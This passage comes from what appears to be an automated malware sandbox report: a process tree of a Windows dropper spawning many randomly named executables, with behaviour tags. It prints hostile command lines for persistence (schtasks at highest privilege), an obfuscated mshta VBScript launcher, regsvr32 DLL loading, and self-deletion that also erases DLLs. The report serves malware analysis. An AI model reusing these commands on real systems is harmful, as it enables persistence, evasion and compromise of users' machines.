7⤵
PID:12700

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:17952

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:6976

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:13172

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:18120

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:18636

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 18636 -s 24
8⤵
- Program crash
PID:14420

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:19412

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:19124

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:14420

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:19376

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:20056

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:7992

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:19628

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:19812

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:21052

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:21376

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:21160

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:22004

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:21556

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:22468

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:21660

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:22100

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:22796

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:7364

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:18372

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:22616

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:22788

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:23980

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:23724

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:7416

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
- Checks computer location settings
- Checks whether UAC is enabled
- Drops file in Windows directory
- Modifies Internet Explorer settings
PID:10948

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:7296

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:24608

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:25364

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:24652

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:25432

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:25480

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:18136

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:26816

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:27628

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:27372

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:27156

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:16388

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:28180

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:24440

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:25640

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:4524

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:25768

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:25000

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:16372

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:4792

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:17228

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:28732

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:29388

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:30048

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:23188

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:30008

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:29820

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:23976

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:30908

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:31492

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:30992

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:8424

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:31544

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:22640

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:32244

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:32312

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:19356

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:31804

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:15136

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:33664

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:33032

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:28716

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:21672

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:33092

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:34700

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:22724

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:35464

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:35624

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:33160

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:9164

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:31336

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:36360

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:36228

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:35908

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:36384

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:36008

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:5356

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:37740

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:37044

C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
C:\Users\Admin\Documents\U5I9mFOPf45NpTuQ1h7RX43G.exe
7⤵
PID:26460

C:\Users\Admin\Documents\jIAaydcg9047hQ0IykeM01E2.exe
"C:\Users\Admin\Documents\jIAaydcg9047hQ0IykeM01E2.exe"
6⤵
PID:16644

C:\Users\Admin\Documents\fF2IaGniUSVlkByhb5HdVqZc.exe
"C:\Users\Admin\Documents\fF2IaGniUSVlkByhb5HdVqZc.exe"
6⤵
- Drops file in Program Files directory
PID:16636

C:\Users\Admin\Documents\J77cmUgJX0OQi4nZtiqUPG2L.exe
"C:\Users\Admin\Documents\J77cmUgJX0OQi4nZtiqUPG2L.exe"
7⤵
- Checks computer location settings
PID:22060

C:\Users\Admin\Documents\cItCjW4eL4ssDmieYQDL7HsE.exe
"C:\Users\Admin\Documents\cItCjW4eL4ssDmieYQDL7HsE.exe"
8⤵
PID:27908

C:\Users\Admin\Documents\1WqANW3c5eIHztfZbEdE1oaT.exe
"C:\Users\Admin\Documents\1WqANW3c5eIHztfZbEdE1oaT.exe"
8⤵
PID:16348

C:\Users\Admin\AppData\Roaming\8148099.exe
"C:\Users\Admin\AppData\Roaming\8148099.exe"
9⤵
PID:34652

C:\Users\Admin\AppData\Roaming\6605152.exe
"C:\Users\Admin\AppData\Roaming\6605152.exe"
9⤵
- Suspicious behavior: SetClipboardViewer
PID:35392

C:\Users\Admin\AppData\Roaming\4260153.exe
"C:\Users\Admin\AppData\Roaming\4260153.exe"
9⤵
PID:36304

C:\Users\Admin\AppData\Roaming\7306808.exe
"C:\Users\Admin\AppData\Roaming\7306808.exe"
9⤵
PID:35576

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
7⤵
- Creates scheduled task(s)
PID:22144

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
7⤵
- Creates scheduled task(s)
PID:17896

C:\Users\Admin\Documents\KwrNgdsnwHUwxiVphXS2K1Vk.exe
"C:\Users\Admin\Documents\KwrNgdsnwHUwxiVphXS2K1Vk.exe"
6⤵
PID:16628

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbScRIpt: CloSE ( CReATEobJECT ( "WscrIpt.SheLL").Run( "cmD.exe /Q /c TYPE ""C:\Users\Admin\Documents\KwrNgdsnwHUwxiVphXS2K1Vk.exe"" > X4d4XArNWDu.eXE&& StArt X4D4XarNWDu.Exe -PXPoqL0iOUHHP7hXFattB5ZvsV & if """"== """" for %A IN (""C:\Users\Admin\Documents\KwrNgdsnwHUwxiVphXS2K1Vk.exe"" ) do taskkill /f -im ""%~nxA"" " , 0, trUE ) )
7⤵
PID:17320

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /Q /c TYPE "C:\Users\Admin\Documents\KwrNgdsnwHUwxiVphXS2K1Vk.exe"> X4d4XArNWDu.eXE&& StArt X4D4XarNWDu.Exe -PXPoqL0iOUHHP7hXFattB5ZvsV &if ""== "" for %A IN ("C:\Users\Admin\Documents\KwrNgdsnwHUwxiVphXS2K1Vk.exe" ) do taskkill /f -im "%~nxA"
8⤵
PID:17296

C:\Users\Admin\AppData\Local\Temp\X4d4XArNWDu.eXE
X4D4XarNWDu.Exe -PXPoqL0iOUHHP7hXFattB5ZvsV
9⤵
PID:14816

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbScRIpt: CloSE ( CReATEobJECT ( "WscrIpt.SheLL").Run( "cmD.exe /Q /c TYPE ""C:\Users\Admin\AppData\Local\Temp\X4d4XArNWDu.eXE"" > X4d4XArNWDu.eXE&& StArt X4D4XarNWDu.Exe -PXPoqL0iOUHHP7hXFattB5ZvsV & if ""-PXPoqL0iOUHHP7hXFattB5ZvsV ""== """" for %A IN (""C:\Users\Admin\AppData\Local\Temp\X4d4XArNWDu.eXE"" ) do taskkill /f -im ""%~nxA"" " , 0, trUE ) )
10⤵
PID:15456

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /Q /c TYPE "C:\Users\Admin\AppData\Local\Temp\X4d4XArNWDu.eXE"> X4d4XArNWDu.eXE&& StArt X4D4XarNWDu.Exe -PXPoqL0iOUHHP7hXFattB5ZvsV &if "-PXPoqL0iOUHHP7hXFattB5ZvsV "== "" for %A IN ("C:\Users\Admin\AppData\Local\Temp\X4d4XArNWDu.eXE" ) do taskkill /f -im "%~nxA"
11⤵
PID:17684

C:\Windows\SysWOW64\regsvr32.exe
"C:\Windows\System32\regsvr32.exe" -S fOUT6o7J.Mj
10⤵
- Loads dropped DLL
PID:6540

C:\Windows\SysWOW64\taskkill.exe
taskkill /f -im "KwrNgdsnwHUwxiVphXS2K1Vk.exe"
9⤵
- Kills process with taskkill
PID:17948

C:\Users\Admin\Documents\6CU_FkYlVESaKnEOzQVdJpGQ.exe
"C:\Users\Admin\Documents\6CU_FkYlVESaKnEOzQVdJpGQ.exe"
6⤵
- Loads dropped DLL
- Checks processor information in registry
PID:16620

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im 6CU_FkYlVESaKnEOzQVdJpGQ.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\6CU_FkYlVESaKnEOzQVdJpGQ.exe" & del C:\ProgramData\*.dll & exit
7⤵
PID:21856

C:\Windows\SysWOW64\taskkill.exe
taskkill /im 6CU_FkYlVESaKnEOzQVdJpGQ.exe /f
8⤵
- Kills process with taskkill
PID:12396

C:\Users\Admin\Documents\IMnAFSL6nx167wIjPt_urIjZ.exe
"C:\Users\Admin\Documents\IMnAFSL6nx167wIjPt_urIjZ.exe"
6⤵
PID:16612

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 16612 -s 656
7⤵
- Program crash
PID:18172

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 16612 -s 708
7⤵
- Program crash
PID:7196

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 16612 -s 748
7⤵
- Program crash
PID:7984

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 16612 -s 720
7⤵
- Program crash
PID:17328

C:\Users\Admin\Documents\Jf2SIyZNh3V1u4hG4499Yp0m.exe
"C:\Users\Admin\Documents\Jf2SIyZNh3V1u4hG4499Yp0m.exe"
6⤵
PID:17336

C:\Users\Admin\Documents\qSoveykzc3LEEQJm7WVpxblU.exe
"C:\Users\Admin\Documents\qSoveykzc3LEEQJm7WVpxblU.exe"
6⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:14068

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
"C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe"
6⤵
PID:8056

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:12904

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:17940

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:14028

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:14132

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:19020

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:18660

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:15928

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:19012

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:19880

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:19732

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:14888

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:10720

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:21104

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:21360

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:12088

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:21940

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:18160

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:18208

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:8360

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:18196

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:22736

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:22236

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:23484

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:17264

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:22948

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:23860

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:24476

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:24008

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:20756

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
7⤵
PID:18992

C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
C:\Users\Admin\Documents\UHeMHUheZtVmlE9GYZkv1Dwz.exe
